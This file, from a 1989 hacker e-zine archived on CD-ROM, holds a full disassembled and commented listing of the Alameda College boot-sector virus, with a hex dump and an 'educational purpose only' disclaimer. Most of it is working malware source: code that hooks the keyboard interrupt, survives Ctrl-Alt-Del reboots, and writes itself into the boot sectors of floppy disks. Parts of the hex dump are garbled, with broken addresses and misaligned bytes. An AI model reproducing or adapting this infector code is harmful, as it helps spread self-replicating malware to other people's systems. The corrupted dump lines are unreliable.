home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / miscpub1 / phun403.txt < prev    next >
Text File  |  1992-09-26  |  21KB  |  442 lines

  1.  
  2.                     P/HUN Issue #4, Volume 2: Phile 3 of 11
  3.                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  4.                              A BOOT SECTOR VIRUS
  5.                                  5/15/89
  6.  
  7.  
  8. The following is a disassembled and commented version of the Alemeda 
  9. College Boot infector virus.  Courtesy of Southern Cross.
  10.  
  11.  
  12. ;-----------------------------------------------------------------------;
  13. ; This virus is of the "FLOPPY ONLY" variety.                           ;
  14. ; It replicates to the boot sector of a floppy disk and when it gains control  
  15. ; it will move itself to upper memory.  It redirects the keyboard       ;
  16. ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;
  17. ; it will attempt to infect any floppy it finds in drive A:.            ;
  18. ; It keeps the real boot sector at track 39, sector 8, head 0           ;
  19. ; It does not map this sector bad in the fat (unlike the Pakistani Brain)
  20. ; and should that area be used by a file, the virus                     ;
  21. ; will die.  It also contains no anti detection mechanisms as does the  ;
  22. ; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;
  23. ; sector 9 because this is common to all floppy formats both single     ;
  24. ; sided and double sided.  It does not contain any malevolent TROJAN    ; 
  25. ; HORSE code.  It does appear to contain a count of how many times it   ;
  26. ; has infected other diskettes although this is harmless and the count  ;
  27. ; is never accessed.                                                    ;
  28. ;                                                                       ;
  29. ; Things to note about this virus:                                      ;
  30. ; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
  31. ; is its primary (only for that matter) means of reproduction to other  ;
  32. ; floppy diskettes.  The only way to remove it from an infected system  ;
  33. ; is to turn the machine off and reboot an uninfected copy of DOS.      ;
  34. ; It is even resident when no floppy is booted but BASIC is loaded      ;
  35. ; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;
  36. ; it activates and infectes the floppy from which the user is           ;
  37. ; attempting to boot.                                                   ;
  38. ;                                                                       ;
  39. ; Also note that because of the POP CS command to pass control to       ;
  40. ; its self in upper memory, this virus does not to work on 80286        ;
  41. ; machines (because this is not a valid 80286 instruction).             ;
  42. ;                                                                       ;
  43. ; The Norton Utilities can be used to identify infected diskettes by    ;
  44. ; looking at the boot sector and the DOS SYS utility can be used to     ;
  45. ; remove it (unlike the Pakistani Brain).                               ;
  46. ;-----------------------------------------------------------------------;
  47.                         ;
  48.     ORG  7C00H               ;
  49.                         ;
  50. TOS LABEL     WORD           ;TOP OF STACK
  51. ;-----------------------------------------------------------------------;
  52. ; 1. Find top of memory and copy ourself up there. (keeping same offset);
  53. ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
  54. ; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;
  55. ; 4. Jump to ourself at top of memory                                   ;
  56. ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;
  57. ;-----------------------------------------------------------------------;
  58. BEGIN:   CLI                 ;INITIALIZE STACK
  59.     XOR  AX,AX               ;
  60.     MOV  SS,AX               ;
  61.     MOV  SP,offset TOS       ;
  62.     STI                 ;
  63.                         ;
  64.     MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
  65.     MOV  DS,BX               ;
  66.     MOV  AX,[0013H]          ;
  67.     MUL  BX             ;
  68.     SUB  AX,07E0H       ;   (7C00H+512)/16
  69.     MOV  ES,AX               ;
  70.                         ;
  71.     PUSH CS             ;DS = CS
  72.     POP  DS             ;
  73.                         ;
  74.     CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
  75.     JNE  B_10           ;
  76.     DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
  77.                         ;
  78. B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
  79.     MOV  DI,SI               ;
  80.     MOV  CX,512              ;
  81.     CLD                 ;
  82.     REP  MOVSB               ;
  83.                         ;
  84.     MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
  85.     MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
  86.     MOV  CX,128              ;
  87.     REP  MOVSB               ;
  88.                         ;
  89.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  90.                         ;
  91.     PUSH ES   ;ES=HI         ;JUMP TO OUR HI CODE WITH
  92.     POP  CS             ;   CS = ES
  93.                         ;
  94.     PUSH DS   ;DS=0          ;ES = DS
  95.     POP  ES             ;
  96.                         ;
  97.     MOV  BX,SP     ;SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
  98.     MOV  DX,CX     ;CX=0          ;   DRIVE A: HEAD 0
  99.     MOV  CX,2708H       ;   TRACK 40, SECTOR 8
  100.     MOV  AX,0201H       ;   READ SECTOR
  101.     INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
  102.     JB   $              ;   HANG IF ERROR
  103.                         ;
  104.     JMP  JMP_BOOT       ;JMP 0000:7C00
  105.                         ;
  106. ;-----------------------------------------------------------------------;
  107. ; SAVE THEN REDIRECT INT 9 VECTOR                                       ;
  108. ;                                                                       ;
  109. ; ON ENTRY:   DS = 0                                                    ;
  110. ;        ES = WHERE TO SAVE OLD_09 & (HI)                               ;
  111. ;             WHERE NEW_09 IS         (HI)                              ;
  112. ;-----------------------------------------------------------------------;
  113. PUT_NEW_09:                  ;
  114.     DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
  115.                         ;
  116.     MOV  SI,9*4              ;COPY INT 9 VECTOR TO
  117.     MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
  118.     MOV  CX,0004             ;
  119.                         ;
  120.     CLI                 ;
  121.     REP  MOVSB               ;
  122.     MOV  Word Ptr [9*4],offset NEW_09
  123.     MOV  [(9*4)+2],ES        ;
  124.     STI                 ;
  125.                         ;
  126.     RET                 ;
  127.                         ;
  128. ;-----------------------------------------------------------------------;
  129. ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;
  130. ;-----------------------------------------------------------------------;
  131. ACK_KEYBD:                   ;
  132.     IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
  133.     MOV  AH,AL               ;
  134.     OR   AL,80H              ;
  135.     OUT  61H,AL              ;
  136.     XCHG AL,AH               ;
  137.     OUT  61H,AL              ;
  138.     JMP  RBOOT               ;
  139.                         ;
  140. ;-----------------------------------------------------------------------;
  141. ; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;
  142. ; REASON UNKNOWN                                                        ;
  143. ;-----------------------------------------------------------------------;
  144. TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
  145.     DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
  146.     DB   27H,0,3,2      ;
  147.     DB   27H,0,4,2      ;
  148.     DB   27H,0,5,2      ;
  149.     DB   27H,0,6,2      ;
  150.     DB   27H,0,7,2      ;
  151.     DB   27H,0,8,2      ;
  152.                         ;
  153. ;A7C9A   LABEL     BYTE           ;
  154.     DW   00024H              ;NOT USED
  155.     DB   0ADH           ;
  156.     DB   07CH           ;
  157.     DB   0A3H           ;
  158.     DW   00026H              ;
  159.                         ;
  160. ;L7CA1:                      ;
  161.     POP  CX             ;NOT USED
  162.     POP  DI             ;
  163.     POP  SI             ;
  164.     POP  ES             ;
  165.     POP  DS             ;
  166.     POP  AX             ;
  167.     POPF                ;
  168.     JMP  1111:1111      ;
  169.                         ;
  170. ;-----------------------------------------------------------------------;
  171. ; IF ALT & CTRL & DEL THEN ...                                          ;
  172. ; IF ALT & CTRL & ? THEN ...                                            ;
  173. ;-----------------------------------------------------------------------;
  174. NEW_09:  PUSHF                    ;
  175.     STI                 ;
  176.                         ;
  177.     PUSH AX             ;
  178.     PUSH BX             ;
  179.     PUSH DS             ;
  180.                         ;
  181.     PUSH CS             ;DS=CS
  182.     POP  DS             ;
  183.                         ;
  184.     MOV  BX,[ALT_CTRL]       ;BX=SCAN CODE LAST TIME
  185.     IN   AL,60H              ;GET SCAN CODE
  186.     MOV  AH,AL               ;SAVE IN AH
  187.     AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
  188.                         ;
  189.     CMP  AL,1DH              ;IS IT A [CTRL]...
  190.     JNE  N09_10              ;...JUMP IF NO
  191.     MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
  192.     JMP  N09_30              ;
  193.                         ;
  194. N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
  195.     JNE  N09_20              ;...JUMP IF NO
  196.     MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
  197.     JMP  N09_30              ;
  198.                         ;
  199. N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
  200.     JNE  N09_30              ;...JUMP IF NO
  201.                         ;
  202.     CMP  AL,17H              ;IF [I]...
  203.     JE   N09_X0              ;...JUMP IF YES
  204.     CMP  AL,53H              ;IF [DEL]...
  205.     JE   ACK_KEYBD      ;...JUMP IF YES
  206.                         ;
  207. N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
  208.                         ;
  209. N09_90:  POP  DS             ;
  210.     POP  BX             ;
  211.     POP  AX             ;
  212.     POPF                ;
  213.                         ;
  214.     DB   0EAH           ;JMP F000:E987
  215. OLD_09   DW   ?              ;
  216.     DW   0F000H              ;
  217.                         ;
  218. N09_X0:  JMP  N09_X1              ;
  219.                         ;
  220. ;-----------------------------------------------------------------------;
  221. ;                                                                       ;
  222. ;-----------------------------------------------------------------------;
  223. RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
  224.     MOV  AX,0800H       ;AL=0, AH=DELAY ARG
  225.     OUT  DX,AL               ;
  226.     CALL DELAY               ;
  227.     MOV  [ALT_CTRL],AX  ;AX=0     ;
  228.                         ;
  229.     MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
  230.     INT  10H            ;
  231.     MOV  AH,2           ;SET CURSOR POS 0,0
  232.     XOR  DX,DX               ;
  233.     MOV  BH,DH               ;   PAGE 0
  234.     INT  10H            ;
  235.                         ;
  236.     MOV  AH,1           ;SET CURSOR TYPE
  237.     MOV  CX,0607H       ;
  238.     INT  10H            ;
  239.                         ;
  240.     MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
  241.     CALL DELAY               ;
  242.                         ;
  243.     CLI                 ;
  244.     OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
  245.                         ;
  246.     MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
  247.     MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
  248.     MOV  SI,offset BEGIN - 128    ;
  249.     MOV  CX,128              ;
  250.     CLD                 ;
  251.     REP  MOVSB               ;
  252.                         ;
  253.     MOV  DS,CX     ;CX=0          ;DS=0
  254.                         ;
  255.     MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
  256.     MOV  [(19H*4)+2],CS      ;
  257.                         ;
  258.     MOV  AX,0040H       ;DS = ROM DATA AREA
  259.     MOV  DS,AX               ;
  260.                         ;
  261.     MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
  262.     INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
  263.                         ;
  264.     PUSH DS             ;IF BIOS F000:E502 == 21E4...
  265.     MOV  AX,0F000H      ;
  266.     MOV  DS,AX               ;
  267.     CMP  Word Ptr [0E502H],21E4H  ;
  268.     POP  DS             ;
  269.     JE   R_90           ;
  270.     INT  19H            ;   IF NOT...REBOOT
  271.                         ;
  272. R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
  273.                         ;
  274. ;-----------------------------------------------------------------------;
  275. ; REBOOT INT VECTOR                                                     ;
  276. ;-----------------------------------------------------------------------;
  277. NEW_19:  XOR  AX,AX               ;
  278.                         ;
  279.     MOV  DS,AX               ;DS=0
  280.     MOV  AX,[0410]      ;AX=EQUIP FLAG
  281.     TEST AL,1           ;IF FLOPPY DRIVES ...
  282.     JNZ  N19_20              ;...JUMP
  283. N19_10:  PUSH CS             ;ELSE ES=CS
  284.     POP  ES             ;
  285.     CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  286.     INT  18H            ;LOAD BASIC
  287.                         ;
  288. N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
  289.                         ;
  290. N19_22:  PUSH CX             ;
  291.     MOV  AH,00               ;RESET DISK
  292.     INT  13             ;
  293.     JB   N19_81              ;
  294.     MOV  AX,0201             ;READ BOOT SECTOR
  295.     PUSH DS             ;
  296.     POP  ES             ;
  297.     MOV  BX,offset BEGIN          ;
  298.     MOV  CX,1           ;TRACK 0, SECTOR 1
  299.     INT  13H            ;
  300. N19_81:  POP  CX             ;
  301.     JNB  N19_90              ;
  302.     LOOP N19_22              ;
  303.     JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
  304.                         ;
  305. ;-----------------------------------------------------------------------;
  306. ; Reinfection segment.                                                  ;
  307. ;-----------------------------------------------------------------------;
  308. N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
  309.     JNZ  RE_INFECT      ;...RE INFECT
  310.                         ;
  311. JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
  312.     JMP  0000:7C00H          ;
  313.                         ;
  314. ;-----------------------------------------------------------------------;
  315. ; Reinfection Segment.                                                  ;
  316. ;-----------------------------------------------------------------------;
  317. RE_INFECT:                   ;
  318.     MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
  319.     MOV  CX,00E6H       ;   OURSELF
  320.     MOV  DI,SI               ;
  321.     PUSH CS             ;
  322.     POP  ES             ;
  323.     CLD                 ;
  324.     REPE CMPSB               ;
  325.     JE   RI_12               ;IF NOT EQUAL...
  326.                         ;
  327.     INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
  328.                         ;
  329. ;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
  330.     MOV  BX,offset TABLE          ;FORMAT INFO
  331.     MOV  DX,0000             ;DRIVE A: HEAD 0
  332.     MOV  CH,40-1             ;TRACK 39
  333.     MOV  AH,5           ;FORMAT
  334.     JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
  335.                         ;
  336. ; <<< NO EXECUTION PATH TO HERE >>>    ;
  337.     JB   RI_80               ;
  338.                         ;
  339. ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
  340. RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
  341.     MOV  BX,offset BEGIN          ;TRACK 40H
  342.     MOV  CL,8           ;SECTOR 8
  343.     MOV  AX,0301H       ;WRITE 1 SECTOR
  344.     INT  13H            ;
  345.                         ;
  346.     PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
  347.     POP  ES             ;
  348.     JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
  349.                         ;
  350.     MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
  351.     MOV  AX,0301             ;
  352.     INT  13H            ;
  353.     JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
  354.                         ;
  355. RI_12:   MOV  DI,3456H       ;SET "JUST INFECTED ANOTHER ONE"...
  356.     INT  19H            ;...FLAG AND REBOOT
  357.                         ;
  358. RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
  359.     DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
  360.     JMP  JMP_BOOT       ;
  361.                         ;
  362. ;-----------------------------------------------------------------------;
  363. ;                                                                       ;
  364. ;-----------------------------------------------------------------------;
  365. N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
  366.                         ;
  367.     MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
  368.     MOV  BX,0040H       ;
  369.     MOV  DS,BX               ;
  370.     MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
  371.     JMP  N09_90              ;
  372.                         ;
  373. ;-----------------------------------------------------------------------;
  374. ; DELAY                                                                 ;
  375. ;                                                                       ;
  376. ; ON ENTRY    AH:CX = LOOP COUNT                                        ;
  377. ;-----------------------------------------------------------------------;
  378. DELAY:   SUB  CX,CX               ;
  379. D_01:    LOOP $              ;
  380.     SUB  AH,1           ;
  381.     JNZ  D_01           ;
  382.     RET                 ;
  383.                         ;
  384. ;-----------------------------------------------------------------------;
  385. ;                                                                       ;
  386. ;-----------------------------------------------------------------------;
  387. A7DF4         DB   27H,00H,8,2
  388.  
  389. COUNTER_1     DW   001CH
  390. ALT_CTRL DW   0
  391.  
  392. A7DFC         DB   27H,0,8,2
  393.  
  394. END
  395. ;-----------------------------------------------------------------------;
  396. ; Hexadecimal representation.                                           ;
  397. ;-----------------------------------------------------------------------;
  398. ;7C00    FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13   z1@.P<.|{;@..[!.
  399. ;7C10    00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04   .wc-`..@....V4u.
  400. ;7C20    FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE   ..x}.f.w9..|s$.N
  401. ;7C30    BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89   ?.{9..s$h.......
  402. ;7C40    E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01   c.J9.'8..M.r~i8.
  403. ;7C50    FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4   ....>$.?f|9..zs$
  404. ;7C60    C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4   G.$.-|..&.{Cda.D
  405. ;7C70    0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00   ..fa.Dfaks'...'.
  406. ;7C80    02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00   ..'...'...'...'.
  407. ;7C90    06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26   ..'...'.$.-|#&
  408. ;7CA0   09 5F 5E 07 1F 58 9D-EA 11 11 1 FB    .Y_^..X.j.....{P
  409. ;7CB0    53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88    S.....z}d`.D%..<
  410. ;7CC0    1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E    .u..ck.<8u..gk..
  411. ;7CD0    FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E    {..u.<.t.<St...z
  412. ;7CE0    7D 1F 5B 58 9D EA 87 E9-00 F0 E9 EB 00 BA D8 03 }.[X.j.i.pik.:X.
  413. ;7CF0    B8 00 08 EE E8 F3 00 A3-FA 7D B0 03 CD 10 B4 02  ..nhs.#z}0.M.4.
  414. ;7D00    31 D2 88 F7 CD 10 B4 01-B9 07 06 CD 108 20 04   1R..4.9..M.8 .
  415. ;7D10    E8 D7 00 FA E6 20 8E C1-89 CF BE 80 7B B9 80 00   hW.zfA.O>.{9..
  416. ;7D20    FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8   |s$.YG.R}..f.8
  417. ;7D30    40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0   @..X.&.....8.p
  418. ;7D4    8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5   .X.>.ed!.t.M.e
  419. ;7D50    00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8   .p1@.X!..(.u..
  420. ;7D60    EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01   n~M.9..Q4.M.r.8
  421. ;7D70    02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7   ...;.|9..M.Ys.bg
  422. ;780    EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C   k[..V4u|..>.|
  423. ;7D90    B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8   9f..w..|t-&..x
  424. ;7DA0    7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E   };z|:..5.k.r..
  425. ;7DB0    C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9   B;.|1.8....r.9
  426. ;7DC0    01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F   ..8..M.rV4M.h.
  427. ;7DD0    FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB   ~&..x}k0}!x};
  428. ;7DE0    40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC   @..[#r.iwIb~.l
  429. ;7DF0    01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02   .uyC'.....'...
  430. ;---------------------------------------------------------------------;
  431. End of commented code for the Alameda College Boot Infector Virus.  All
  432. viruses are dangerous.I take no responsibility for damages, outbreaks, or
  433. other ramifications caused by misuse.  This phile is for educational purpose
  434. only!   I expect everyone to use caution and common sense when dealing with 
  435. viruses.  Enjoy!
  436.                    
  437. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  438.  
  439. DOWNLOADED FROM P-80 SYSTEMS 304-744-2253
  440.  
  441. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  442.